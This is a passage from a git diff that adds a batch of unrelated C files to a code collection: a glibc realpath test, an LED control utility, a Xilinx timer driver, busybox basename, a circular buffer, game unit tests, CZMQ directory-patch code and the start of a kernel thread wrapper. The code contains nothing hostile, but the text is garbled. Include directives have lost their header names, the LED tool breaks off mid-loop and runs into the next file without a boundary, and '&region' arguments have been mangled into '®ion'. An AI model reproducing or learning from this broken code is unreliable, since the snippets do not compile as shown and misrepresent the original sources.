"/etc"}, + {"/etc/../etc", "/etc"}, + /* 5 */ + {"/doesNotExist/../etc", 0, "/doesNotExist", ENOENT}, + {"./././././././././.", "."}, + {"/etc/.//doesNotExist", 0, "/etc/doesNotExist", ENOENT}, + {"./doesExist", "./doesExist"}, + {"./doesExist/", "./doesExist"}, + /* 10 */ + {"./doesExist/../doesExist", "./doesExist"}, + {"foobar", 0, "./foobar", ENOENT}, + {".", "."}, + {"./foobar", 0, "./foobar", ENOENT}, + {"SYMLINK_LOOP", 0, "./SYMLINK_LOOP", ELOOP}, + /* 15 */ + {"./SYMLINK_LOOP", 0, "./SYMLINK_LOOP", ELOOP}, + {"SYMLINK_1", "."}, + {"SYMLINK_1/foobar", 0, "./foobar", ENOENT}, + {"SYMLINK_2", "/etc"}, + {"SYMLINK_3", "."}, + /* 20 */ + {"SYMLINK_4", "/etc"}, + {"../stdlib/SYMLINK_1", "."}, + {"../stdlib/SYMLINK_2", "/etc"}, + {"../stdlib/SYMLINK_3", "."}, + {"../stdlib/SYMLINK_4", "/etc"}, + /* 25 */ + {"./SYMLINK_5", 0, "./doesNotExist", ENOENT}, + {"SYMLINK_5", 0, "./doesNotExist", ENOENT}, + {"SYMLINK_5/foobar", 0, "./doesNotExist", ENOENT}, + {"doesExist/../../stdlib/doesExist", "./doesExist"}, + {"doesExist/.././../stdlib/.", "."}, + /* 30 */ + {"./doesExist/someFile/", 0, "./doesExist/someFile", ENOTDIR}, + {"./doesExist/someFile/..", 0, "./doesExist/someFile", ENOTDIR}, +}; + + +static int +check_path (const char * result, const char * expected) +{ + int good; + + if (!result) + return (expected == NULL); + + if (!expected) + return 0; + + if (expected[0] == '.' && (expected[1] == '/' || expected[1] == '\0')) + good = (strncmp (result, cwd, cwd_len) == 0 + && strcmp (result + cwd_len, expected + 1) == 0); + else + good = (strcmp (expected, result) == 0); + + return good; +} + + +int +do_test (int argc, char ** argv) +{ + char * result; + int i, errors = 0; + char buf[PATH_MAX]; + + getcwd (cwd, sizeof(buf)); + cwd_len = strlen (cwd); + + errno = 0; + if (realpath (NULL, buf) != NULL || errno != EINVAL) + { + printf ("%s: expected return value NULL and errno set to EINVAL" + " for realpath(NULL,...)\n", argv[0]); + ++errors; + } + +#if 0 + /* This is now allowed. The test is invalid. */ + errno = 0; + if (realpath ("/", NULL) != NULL || errno != EINVAL) + { + printf ("%s: expected return value NULL and errno set to EINVAL" + " for realpath(...,NULL)\n", argv[0]); + ++errors; + } +#endif + + errno = 0; + if (realpath ("", buf) != NULL || errno != ENOENT) + { + printf ("%s: expected return value NULL and set errno to ENOENT" + " for realpath(\"\",...)\n", argv[0]); + ++errors; + } + + for (i = 0; i < (int) (sizeof (symlinks) / sizeof (symlinks[0])); ++i) + symlink (symlinks[i].value, symlinks[i].name); + + int has_dir = mkdir ("doesExist", 0777) == 0; + + int fd = has_dir ? creat ("doesExist/someFile", 0777) : -1; + + for (i = 0; i < (int) (sizeof (tests) / sizeof (tests[0])); ++i) + { + buf[0] = '\0'; + result = realpath (tests[i].in, buf); + + if (!check_path (result, tests[i].out)) + { + printf ("%s: flunked test %d (expected `%s', got `%s')\n", + argv[0], i, tests[i].out ? tests[i].out : "NULL", + result ? result : "NULL"); + ++errors; + continue; + } + + if (!check_path (buf, tests[i].out ? tests[i].out : tests[i].resolved)) + { + printf ("%s: flunked test %d (expected resolved `%s', got `%s')\n", + argv[0], i, tests[i].out ? tests[i].out : tests[i].resolved, + buf); + ++errors; + continue; + } + + if (!tests[i].out && errno != tests[i].error) + { + printf ("%s: flunked test %d (expected errno %d, got %d)\n", + argv[0], i, tests[i].error, errno); + ++errors; + continue; + } + + char *result2 = realpath (tests[i].in, NULL); + if ((result2 == NULL && result != NULL) + || (result2 != NULL && strcmp (result, result2) != 0)) + { + printf ("\ +%s: realpath(..., NULL) produced different result than realpath(..., buf): '%s' vs '%s'\n", + argv[0], result2, result); + ++errors; + } + free (result2); + } + + getcwd (buf, sizeof(buf)); + if (strcmp (buf, cwd)) + { + printf ("%s: current working directory changed from %s to %s\n", + argv[0], cwd, buf); + ++errors; + } + + if (fd >= 0) + { + close (fd); + unlink ("doesExist/someFile"); + } + + if (has_dir) + rmdir ("doesExist"); + + for (i = 0; i < (int) (sizeof (symlinks) / sizeof (symlinks[0])); ++i) + unlink (symlinks[i].name); + + if (errors != 0) + { + printf ("%d errors.\n", errors); + return EXIT_FAILURE; + } + + puts ("No errors."); + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0141856_ledctrl.c b/pool/shard011/C/0141856_ledctrl.c new file mode 100644 index 0000000000000000000000000000000000000000..5a0d1cfe6d67e621f2522b12a7ee8a248f7a9b7e --- /dev/null +++ b/pool/shard011/C/0141856_ledctrl.c @@ -0,0 +1,115 @@ + +#include +#include +#include +#include +#include +#include +#include + +#include + +#define VERSION "v1.00" +#define COPYRIGHT "2005 Atmark Techno, Inc." +#define DEVICE "/dev/led" + +struct option_info{ + unsigned long id; + char *name; + char *help; +}; + +struct option_info opt_list[]={ + {LED_RED_ON, "--red=on", ""}, + {LED_RED_OFF, "--red=off", ""}, + {LED_GREEN_ON, "--green=on", ""}, + {LED_GREEN_OFF, "--green=off",""}, + {LED_RED_STATUS | LED_GREEN_STATUS,"--status","display led status"}, + {0,NULL}, +}; + +int led_action(int id){ + int fd; + int ret; + char buf[16]; + + fd = open(DEVICE,O_RDWR); + if(fd == -1){ + perror("ledctrl: " DEVICE " open"); + return -1; + } + + switch(id){ + case LED_RED_ON: + case LED_RED_OFF: + case LED_GREEN_ON: + case LED_GREEN_OFF: + ret = ioctl(fd,id); + if(ret == -1){ + perror("ledctrl: ioctl"); + close(fd); + return -1; + } + break; + case (LED_RED_STATUS | LED_GREEN_STATUS): + ret = ioctl(fd,id,buf); + if(ret == -1){ + perror("ledctrl: ioctl"); + close(fd); + return -1; + } + printf("RED(%s),GREEN(%s)\n", + buf[0] & LED_RED ? "on":"off", + buf[0] & LED_GREEN ? "on":"off" + ); + break; + default: + close(fd); + return 0; + } + close(fd); + return 0; +} + +void usage(int status){ + int i; + printf("\n"); + printf("usage ledctrl [option]\n\n"); + printf(" %s (Copyright (C) %s)\n\n",VERSION,COPYRIGHT); + printf("option:\n"); + for(i=0;;i++){ + if(!opt_list[i].name) break; + + printf(" %-20s %s\n",opt_list[i].name,opt_list[i].help); + } + printf("\n"); + exit(status); +} + +int main(int argc, char **argv){ + int flag=0; + int ret; + int i,j; + + if(argc < 2) usage(1); + + for(i=1;i +* MODIFICATION HISTORY: +* +* Ver Who Date Changes +* ----- ---- -------- ----------------------------------------------- +* 1.00b jhl 02/06/02 First release +* 1.10b mta 03/21/07 Updated to new coding style +* 2.00a ktn 10/30/09 Updated to use HAL API's. _m is removed from all the macro +* definitions. +* 2.04a sdm 07/12/11 Added support for the cascade mode operation. +* +* +******************************************************************************/ + +/***************************** Include Files *********************************/ + +#include "xtmrctr.h" +#include "xtmrctr_i.h" + +/************************** Constant Definitions *****************************/ + + +/**************************** Type Definitions *******************************/ + + +/***************** Macros (Inline Functions) Definitions *********************/ + + +/************************** Function Prototypes ******************************/ + + +/************************** Variable Definitions *****************************/ + +/* + * The following data type maps an option to a register mask such that getting + * and setting the options may be table driven. + */ +typedef struct { + u32 Option; + u32 Mask; +} Mapping; + +/* + * Create the table which contains options which are to be processed to get/set + * the options. These options are table driven to allow easy maintenance and + * expansion of the options. + */ +static Mapping OptionsTable[] = { + {XTC_CASCADE_MODE_OPTION, XTC_CSR_CASC_MASK}, + {XTC_ENABLE_ALL_OPTION, XTC_CSR_ENABLE_ALL_MASK}, + {XTC_DOWN_COUNT_OPTION, XTC_CSR_DOWN_COUNT_MASK}, + {XTC_CAPTURE_MODE_OPTION, XTC_CSR_CAPTURE_MODE_MASK | + XTC_CSR_EXT_CAPTURE_MASK}, + {XTC_INT_MODE_OPTION, XTC_CSR_ENABLE_INT_MASK}, + {XTC_AUTO_RELOAD_OPTION, XTC_CSR_AUTO_RELOAD_MASK}, + {XTC_EXT_COMPARE_OPTION, XTC_CSR_EXT_GENERATE_MASK} +}; + +/* Create a constant for the number of entries in the table */ + +#define XTC_NUM_OPTIONS (sizeof(OptionsTable) / sizeof(Mapping)) + +/*****************************************************************************/ +/** +* +* Enables the specified options for the specified timer counter. This function +* sets the options without regard to the current options of the driver. To +* prevent a loss of the current options, the user should call +* XTmrCtr_GetOptions() prior to this function and modify the retrieved options +* to pass into this function to prevent loss of the current options. +* +* @param InstancePtr is a pointer to the XTmrCtr instance. +* @param TmrCtrNumber is the timer counter of the device to operate on. +* Each device may contain multiple timer counters. The timer +* number is a zero based number with a range of +* 0 - (XTC_DEVICE_TIMER_COUNT - 1). +* @param Options contains the desired options to be set or cleared. +* Setting the option to '1' enables the option, clearing the to +* '0' disables the option. The options are bit masks such that +* multiple options may be set or cleared. The options are +* described in xtmrctr.h. +* +* @return None. +* +* @note None. +* +******************************************************************************/ +void XTmrCtr_SetOptions(XTmrCtr * InstancePtr, u8 TmrCtrNumber, u32 Options) +{ + u32 CounterControlReg = 0; + u32 Index; + + Xil_AssertVoid(InstancePtr != NULL); + Xil_AssertVoid(TmrCtrNumber < XTC_DEVICE_TIMER_COUNT); + Xil_AssertVoid(InstancePtr->IsReady == XIL_COMPONENT_IS_READY); + + /* + * Loop through the Options table, turning the enable on or off + * depending on whether the bit is set in the incoming Options flag. + */ + + for (Index = 0; Index < XTC_NUM_OPTIONS; Index++) { + if (Options & OptionsTable[Index].Option) { + + /* + * Turn the option on + */ + CounterControlReg |= OptionsTable[Index].Mask; + } + else { + /* + * Turn the option off + */ + CounterControlReg &= ~OptionsTable[Index].Mask; + } + } + + /* + * Write out the updated value to the actual register + */ + XTmrCtr_WriteReg(InstancePtr->BaseAddress, TmrCtrNumber, + XTC_TCSR_OFFSET, CounterControlReg); +} + +/*****************************************************************************/ +/** +* +* Get the options for the specified timer counter. +* +* @param InstancePtr is a pointer to the XTmrCtr instance. +* @param TmrCtrNumber is the timer counter of the device to operate on +* Each device may contain multiple timer counters. The timer +* number is a zero based number with a range of +* 0 - (XTC_DEVICE_TIMER_COUNT - 1). +* +* @return +* +* The currently set options. An option which is set to a '1' is enabled and +* set to a '0' is disabled. The options are bit masks such that multiple +* options may be set or cleared. The options are described in xtmrctr.h. +* +* @note None. +* +******************************************************************************/ +u32 XTmrCtr_GetOptions(XTmrCtr * InstancePtr, u8 TmrCtrNumber) +{ + + u32 Options = 0; + u32 CounterControlReg; + u32 Index; + + Xil_AssertNonvoid(InstancePtr != NULL); + Xil_AssertNonvoid(TmrCtrNumber < XTC_DEVICE_TIMER_COUNT); + Xil_AssertNonvoid(InstancePtr->IsReady == XIL_COMPONENT_IS_READY); + + /* + * Read the current contents of the control status register to allow + * the current options to be determined + */ + CounterControlReg = XTmrCtr_ReadReg(InstancePtr->BaseAddress, + TmrCtrNumber, XTC_TCSR_OFFSET); + /* + * Loop through the Options table, turning the enable on or off + * depending on whether the bit is set in the current register settings. + */ + for (Index = 0; Index < XTC_NUM_OPTIONS; Index++) { + if (CounterControlReg & OptionsTable[Index].Mask) { + Options |= OptionsTable[Index].Option; /* turn it on */ + } + else { + Options &= ~OptionsTable[Index].Option; /* turn it off */ + } + } + + return Options; +} diff --git a/pool/shard011/C/0141858_basename.c b/pool/shard011/C/0141858_basename.c new file mode 100644 index 0000000000000000000000000000000000000000..30f76dc126c475b518f9604f324c8317476937a6 --- /dev/null +++ b/pool/shard011/C/0141858_basename.c @@ -0,0 +1,50 @@ +/* vi: set sw=4 ts=4: */ +/* + * Mini basename implementation for busybox + * + * Copyright (C) 1999-2004 by Erik Andersen + * + * Licensed under GPLv2 or later, see file LICENSE in this tarball for details. + * + */ + +/* BB_AUDIT SUSv3 compliant */ +/* http://www.opengroup.org/onlinepubs/007904975/utilities/basename.html */ + + +/* Mar 16, 2003 Manuel Novoa III (mjn3@codepoet.org) + * + * Changes: + * 1) Now checks for too many args. Need at least one and at most two. + * 2) Don't check for options, as per SUSv3. + * 3) Save some space by using strcmp(). Calling strncmp() here was silly. + */ + +#include +#include +#include +#include "busybox.h" + +int basename_main(int argc, char **argv) +{ + size_t m, n; + char *s; + + if (((unsigned int)(argc-2)) >= 2) { + bb_show_usage(); + } + + s = bb_get_last_path_component(*++argv); + + if (*++argv) { + n = strlen(*argv); + m = strlen(s); + if ((m > n) && ((strcmp)(s+m-n, *argv) == 0)) { + s[m-n] = '\0'; + } + } + + puts(s); + + fflush_stdout_and_exit(EXIT_SUCCESS); +} diff --git a/pool/shard011/C/0141859_cbuf.c b/pool/shard011/C/0141859_cbuf.c new file mode 100644 index 0000000000000000000000000000000000000000..bb700f2d457a81f2d89d782bc5c75340b910f66d --- /dev/null +++ b/pool/shard011/C/0141859_cbuf.c @@ -0,0 +1,197 @@ +/* + * Copyright (c) 2008-2013 Travis Geiselbrecht + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files + * (the "Software"), to deal in the Software without restriction, + * including without limitation the rights to use, copy, modify, merge, + * publish, distribute, sublicense, and/or sell copies of the Software, + * and to permit persons to whom the Software is furnished to do so, + * subject to the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. + * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY + * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, + * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE + * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + */ +#include +#include +#include +#include +#include +#include +#include + +#define LOCAL_TRACE 0 + +#define INC_POINTER(cbuf, ptr, inc) \ + modpow2(((ptr) + (inc)), (cbuf)->len_pow2) + +void cbuf_initialize(cbuf_t *cbuf, size_t len) +{ + DEBUG_ASSERT(cbuf); + DEBUG_ASSERT(len > 0); + DEBUG_ASSERT(ispow2(len)); + + cbuf->head = 0; + cbuf->tail = 0; + cbuf->len_pow2 = log2_uint(len); + cbuf->buf = malloc(len); + event_init(&cbuf->event, false, 0); + + LTRACEF("len %zd, len_pow2 %u\n", len, cbuf->len_pow2); +} + +size_t cbuf_space_avail(cbuf_t *cbuf) +{ + uint consumed = modpow2((uint)(cbuf->head - cbuf->tail), cbuf->len_pow2); + return valpow2(cbuf->len_pow2) - consumed - 1; +} + +size_t cbuf_write(cbuf_t *cbuf, const void *_buf, size_t len, bool canreschedule) +{ + const char *buf = (const char *)_buf; + + LTRACEF("len %zd\n", len); + + DEBUG_ASSERT(cbuf); + DEBUG_ASSERT(_buf); + DEBUG_ASSERT(len < valpow2(cbuf->len_pow2)); + + enter_critical_section(); + + size_t write_len; + size_t pos = 0; + + while (pos < len && cbuf_space_avail(cbuf) > 0) { + if (cbuf->head >= cbuf->tail) { + write_len = MIN(valpow2(cbuf->len_pow2) - cbuf->head, len - pos); + } else { + write_len = MIN(cbuf->tail - cbuf->head - 1, len - pos); + } + + // if it's full, abort and return how much we've written + if (write_len == 0) { + break; + } + + memcpy(cbuf->buf + cbuf->head, buf + pos, write_len); + + cbuf->head = INC_POINTER(cbuf, cbuf->head, write_len); + pos += write_len; + } + + if (cbuf->head != cbuf->tail) + event_signal(&cbuf->event, canreschedule); + + exit_critical_section(); + + return pos; +} + +size_t cbuf_read(cbuf_t *cbuf, void *_buf, size_t buflen, bool block) +{ + char *buf = (char *)_buf; + + DEBUG_ASSERT(cbuf); + DEBUG_ASSERT(_buf); + + enter_critical_section(); + + if (block) + event_wait(&cbuf->event); + + // see if there's data available + size_t ret = 0; + if (cbuf->tail != cbuf->head) { + size_t pos = 0; + + // loop until we've read everything we need + // at most this will make two passes to deal with wraparound + while (pos < buflen && cbuf->tail != cbuf->head) { + size_t read_len; + if (cbuf->head > cbuf->tail) { + // simple case where there is no wraparound + read_len = MIN(cbuf->head - cbuf->tail, buflen - pos); + } else { + // read to the end of buffer in this pass + read_len = MIN(valpow2(cbuf->len_pow2) - cbuf->tail, buflen - pos); + } + + memcpy(buf + pos, cbuf->buf + cbuf->tail, read_len); + + cbuf->tail = INC_POINTER(cbuf, cbuf->tail, read_len); + pos += read_len; + } + + if (cbuf->tail == cbuf->head) { + // we've emptied the buffer, unsignal the event + event_unsignal(&cbuf->event); + } + + ret = pos; + } + + exit_critical_section(); + + return ret; +} + +size_t cbuf_write_char(cbuf_t *cbuf, char c, bool canreschedule) +{ + DEBUG_ASSERT(cbuf); + + enter_critical_section(); + + size_t ret = 0; + if (cbuf_space_avail(cbuf) > 0) { + cbuf->buf[cbuf->head] = c; + + cbuf->head = INC_POINTER(cbuf, cbuf->head, 1); + ret = 1; + + if (cbuf->head != cbuf->tail) + event_signal(&cbuf->event, canreschedule); + } + + exit_critical_section(); + + return ret; +} + +size_t cbuf_read_char(cbuf_t *cbuf, char *c, bool block) +{ + DEBUG_ASSERT(cbuf); + DEBUG_ASSERT(c); + + enter_critical_section(); + + if (block) + event_wait(&cbuf->event); + + // see if there's data available + size_t ret = 0; + if (cbuf->tail != cbuf->head) { + + *c = cbuf->buf[cbuf->tail]; + cbuf->tail = INC_POINTER(cbuf, cbuf->tail, 1); + + if (cbuf->tail == cbuf->head) { + // we've emptied the buffer, unsignal the event + event_unsignal(&cbuf->event); + } + + ret = 1; + } + + exit_critical_section(); + + return ret; +} + diff --git a/pool/shard011/C/0141860_map.c b/pool/shard011/C/0141860_map.c new file mode 100644 index 0000000000000000000000000000000000000000..a5d350da4c565a1d80407efdb2f0c26e7177d7a7 --- /dev/null +++ b/pool/shard011/C/0141860_map.c @@ -0,0 +1,211 @@ +/* + * Conquest of Levidon + * Copyright (C) 2016 Martin Kunev + * + * This file is part of Conquest of Levidon. + * + * Conquest of Levidon is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation version 3 of the License. + * + * Conquest of Levidon is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with Conquest of Levidon. If not, see . + */ + +#include +#include +#include +#include +#include +#include + +// TODO remove this +struct point +{ + int x, y; +}; + +#include +#include + +void __wrap_free(void *ptr) +{ + check_expected(ptr); +} + +enum {NEUTRAL, SELF, ALLY, ENEMY}; +static struct player players[] = +{ + [NEUTRAL] = {.alliance = 0}, + [SELF] = {.alliance = 1}, + [ALLY] = {.alliance = 1}, + [ENEMY] = {.alliance = 2}, +}; + +static void region_turn_process_empty(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}; + region.owner = 1; + region.garrison.owner = 1; + region.garrison.siege = 0; + region.troops = 0; + region.built = 0; + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, 1); + assert_int_equal(region.garrison.owner, 1); + assert_int_equal(region.garrison.siege, 0); +} + +static void region_turn_process_self(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}, region_other = {0}; + struct troop troops[] = + { + {.owner = SELF, .location = ®ion_other, .move = ®ion, ._next = 0}, + }; + region.owner = SELF; + region.garrison.owner = SELF; + region.garrison.siege = 0; + region.troops = troops; + region.built = 0; + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, SELF); + assert_int_equal(region.garrison.owner, SELF); + assert_int_equal(region.garrison.siege, 0); +} + +static void region_turn_process_ally(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}, region_other = {0}; + struct troop troops[] = + { + {.owner = ALLY, .location = ®ion_other, .move = ®ion, ._next = 0}, + }; + region.owner = SELF; + region.garrison.owner = SELF; + region.garrison.siege = 0; + region.troops = troops; + region.built = 0; + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, SELF); + assert_int_equal(region.garrison.owner, SELF); + assert_int_equal(region.garrison.siege, 0); +} + +static void region_turn_process_enemy(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}, region_other = {0}; + struct troop troops[] = + { + {.owner = ENEMY, .location = ®ion_other, .move = ®ion, ._next = 0}, + }; + region.owner = SELF; + region.garrison.owner = SELF; + region.garrison.siege = 0; + region.troops = troops; + region.built = 0; + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, ENEMY); + assert_int_equal(region.garrison.owner, ENEMY); + assert_int_equal(region.garrison.siege, 0); +} + +static void region_turn_process_liberate(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}, region_other = {0}; + struct troop troops[] = + { + {.owner = SELF, .location = LOCATION_GARRISON, .move = LOCATION_GARRISON, ._next = troops + 1}, + {.owner = ALLY, .location = ®ion_other, .move = ®ion, ._next = 0}, + }; + region.owner = ENEMY; + region.garrison.owner = SELF; + region.garrison.siege = 1; + region.troops = troops; + region.built = (1 << BuildingPalisade); + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, SELF); + assert_int_equal(region.garrison.owner, SELF); + assert_int_equal(region.garrison.siege, 0); +} + +static void region_turn_process_siege(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}, region_other = {0}; + struct troop troops[] = + { + {.owner = SELF, .location = LOCATION_GARRISON, .move = LOCATION_GARRISON, ._next = troops + 1}, + {.owner = ENEMY, .location = ®ion_other, .move = ®ion, ._next = 0}, + }; + region.owner = ENEMY; + region.garrison.owner = SELF; + region.garrison.siege = 0; + region.troops = troops; + region.built = (1 << BuildingPalisade); + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, ENEMY); + assert_int_equal(region.garrison.owner, SELF); + assert_int_equal(region.garrison.siege, 1); +} + +static void region_turn_process_garrison_conquer(void **state) +{ + struct game game = {.players = players, .players_count = sizeof(players) / sizeof(*players)}; + + struct region region = {0}, region_other = {0}; + struct troop troops[] = + { + {.owner = SELF, .location = LOCATION_GARRISON, .move = LOCATION_GARRISON, ._next = troops + 1}, + {.owner = ENEMY, .location = ®ion_other, .move = ®ion, ._next = 0}, + }; + region.owner = ENEMY; + region.garrison.owner = SELF; + region.garrison.siege = 2; + region.troops = troops; + region.built = (1 << BuildingPalisade); + + expect_value(__wrap_free, ptr, region.troops); + + region_turn_process(&game, ®ion); + assert_int_equal(region.owner, ENEMY); + assert_int_equal(region.garrison.owner, ENEMY); + assert_int_equal(region.garrison.siege, 0); +} + +int main(void) +{ + const struct CMUnitTest tests[] = + { + cmocka_unit_test(region_turn_process_empty), + cmocka_unit_test(region_turn_process_self), + cmocka_unit_test(region_turn_process_ally), + cmocka_unit_test(region_turn_process_enemy), + cmocka_unit_test(region_turn_process_liberate), + cmocka_unit_test(region_turn_process_siege), + cmocka_unit_test(region_turn_process_garrison_conquer), + }; + return cmocka_run_group_tests(tests, 0, 0); +} diff --git a/pool/shard011/C/0141861_zdir_patch.c b/pool/shard011/C/0141861_zdir_patch.c new file mode 100644 index 0000000000000000000000000000000000000000..d0931ed90eadf0e25f4476e85a55d5f0cba3f8ee --- /dev/null +++ b/pool/shard011/C/0141861_zdir_patch.c @@ -0,0 +1,220 @@ +/* ========================================================================= + zdir_patch - work with directory patches + A patch is a change to the directory (create/delete). + + Copyright (c) the Contributors as noted in the AUTHORS file. + This file is part of CZMQ, the high-level C binding for 0MQ: + http://czmq.zeromq.org. + + This Source Code Form is subject to the terms of the Mozilla Public + License, v. 2.0. If a copy of the MPL was not distributed with this + file, You can obtain one at http://mozilla.org/MPL/2.0/. + ========================================================================= +*/ + +/* +@header + The zdir_patch class works with one patch, which says "create this + file" or "delete this file" (referring to a zfile item each time). +@discuss +@end +*/ + +#include "../include/czmq.h" + +// Structure of our class +// If you modify this beware to also change _dup + +struct _zdir_patch_t { + char *path; // Directory path + char *vpath; // Virtual file path + zfile_t *file; // File we refer to + zdir_patch_op_t op; // Operation + char *digest; // File SHA-1 digest +}; + + +// -------------------------------------------------------------------------- +// Constructor +// Create new patch, create virtual path from alias + +zdir_patch_t * +zdir_patch_new (const char *path, zfile_t *file, + zdir_patch_op_t op, const char *alias) +{ + zdir_patch_t *self = (zdir_patch_t *) zmalloc (sizeof (zdir_patch_t)); + if (!self) + return NULL; + self->path = strdup (path); + if (self->path) + self->file = zfile_dup (file); + if (!self->file) { + zdir_patch_destroy (&self); + return NULL; + } + + self->op = op; + + // Calculate virtual path for patch (remove path, prefix alias) + const char *filename = zfile_filename (file, path); + if (!filename) { + zdir_patch_destroy (&self); + return NULL; + } + assert (*filename != '/'); + self->vpath = (char *) zmalloc (strlen (alias) + strlen (filename) + 2); + if (!self->vpath) { + zdir_patch_destroy (&self); + return NULL; + } + if (alias [strlen (alias) - 1] == '/') + sprintf (self->vpath, "%s%s", alias, filename); + else + sprintf (self->vpath, "%s/%s", alias, filename); + return self; +} + + +// -------------------------------------------------------------------------- +// Destroy a patch + +void +zdir_patch_destroy (zdir_patch_t **self_p) +{ + assert (self_p); + if (*self_p) { + zdir_patch_t *self = *self_p; + free (self->path); + free (self->vpath); + free (self->digest); + zfile_destroy (&self->file); + free (self); + *self_p = NULL; + } +} + + +// -------------------------------------------------------------------------- +// Create copy of a patch. If the patch is null, or memory was exhausted, +// returns null. + +zdir_patch_t * +zdir_patch_dup (zdir_patch_t *self) +{ + if (self) { + zdir_patch_t *copy = (zdir_patch_t *) zmalloc (sizeof (zdir_patch_t)); + if (copy) { + copy->op = self->op; + copy->path = strdup (self->path); + if (copy->path) + copy->file = zfile_dup (self->file); + if (copy->file) + copy->vpath = strdup (self->vpath); + if (copy->vpath) + // Don't recalculate hash when we duplicate patch + copy->digest = self->digest ? strdup (self->digest) : NULL; + + if (copy->digest == NULL && copy->op != patch_delete) + zdir_patch_destroy (©); + } + return copy; + } + else + return NULL; +} + + +// -------------------------------------------------------------------------- +// Return patch file directory path + +const char * +zdir_patch_path (zdir_patch_t *self) +{ + assert (self); + return self->path; +} + + +// -------------------------------------------------------------------------- +// Return patch file item + +zfile_t * +zdir_patch_file (zdir_patch_t *self) +{ + assert (self); + return self->file; +} + + +// -------------------------------------------------------------------------- +// Return operation + +zdir_patch_op_t +zdir_patch_op (zdir_patch_t *self) +{ + assert (self); + return self->op; +} + + +// -------------------------------------------------------------------------- +// Return patch virtual file path + +const char * +zdir_patch_vpath (zdir_patch_t *self) +{ + assert (self); + return self->vpath; +} + + +// -------------------------------------------------------------------------- +// Calculate hash digest for file (create only) + +void +zdir_patch_digest_set (zdir_patch_t *self) +{ + if (self->op == patch_create + && self->digest == NULL) { + self->digest = strdup (zfile_digest (self->file)); + assert (self->digest); + } + +} + + +// -------------------------------------------------------------------------- +// Return hash digest for patch file (create only) + +const char * +zdir_patch_digest (zdir_patch_t *self) +{ + assert (self); + return self->digest; +} + + +// -------------------------------------------------------------------------- +// Self test of this class + +void +zdir_patch_test (bool verbose) +{ + printf (" * zdir_patch: "); + + // @selftest + zfile_t *file = zfile_new (".", "bilbo"); + assert (file); + zdir_patch_t *patch = zdir_patch_new (".", file, patch_create, "/"); + assert (patch); + zfile_destroy (&file); + + file = zdir_patch_file (patch); + assert (file); + assert (streq (zfile_filename (file, "."), "bilbo")); + assert (streq (zdir_patch_vpath (patch), "/bilbo")); + zdir_patch_destroy (&patch); + // @end + + printf ("OK\n"); +} diff --git a/pool/shard011/C/0141862_spl-thread.c b/pool/shard011/C/0141862_spl-thread.c new file mode 100644 index 0000000000000000000000000000000000000000..6b3bec509372f086ca1482304e9d60eb04fcf4a9 --- /dev/null +++ b/pool/shard011/C/0141862_spl-thread.c @@ -0,0 +1,139 @@ +/*****************************************************************************\ + * Copyright (C) 2007-2010 Lawrence Livermore National Security, LLC. + * Copyright (C) 2007 The Regents of the University of California. + * Produced at Lawrence Livermore National Laboratory (cf, DISCLAIMER). + * Written by Brian Behlendorf . + * UCRL-CODE-235197 + * + * This file is part of the SPL, Solaris Porting Layer. + * For details, see . + * + * The SPL is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * The SPL is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * for more details. + * + * You should have received a copy of the GNU General Public License along + * with the SPL. If not, see . + ***************************************************************************** + * Solaris Porting Layer (SPL) Thread Implementation. +\*****************************************************************************/ + +#include +#include +#include +#include + +#ifdef SS_DEBUG_SUBSYS +#undef SS_DEBUG_SUBSYS +#endif + +#define SS_DEBUG_SUBSYS SS_THREAD + +/* + * Thread interfaces + */ +typedef struct thread_priv_s { + unsigned long tp_magic; /* Magic */ + int tp_name_size; /* Name size */ + char *tp_name; /* Name (without _thread suffix) */ + void (*tp_func)(void *); /* Registered function */ + void *tp_args; /* Args to be passed to function */ + size_t tp_len; /* Len to be passed to function */ + int tp_state; /* State to start thread at */ + pri_t tp_pri; /* Priority to start threat at */ +} thread_priv_t; + +static int +thread_generic_wrapper(void *arg) +{ + thread_priv_t *tp = (thread_priv_t *)arg; + void (*func)(void *); + void *args; + + ASSERT(tp->tp_magic == TP_MAGIC); + func = tp->tp_func; + args = tp->tp_args; + set_current_state(tp->tp_state); + set_user_nice((kthread_t *)current, PRIO_TO_NICE(tp->tp_pri)); + kmem_free(tp->tp_name, tp->tp_name_size); + kmem_free(tp, 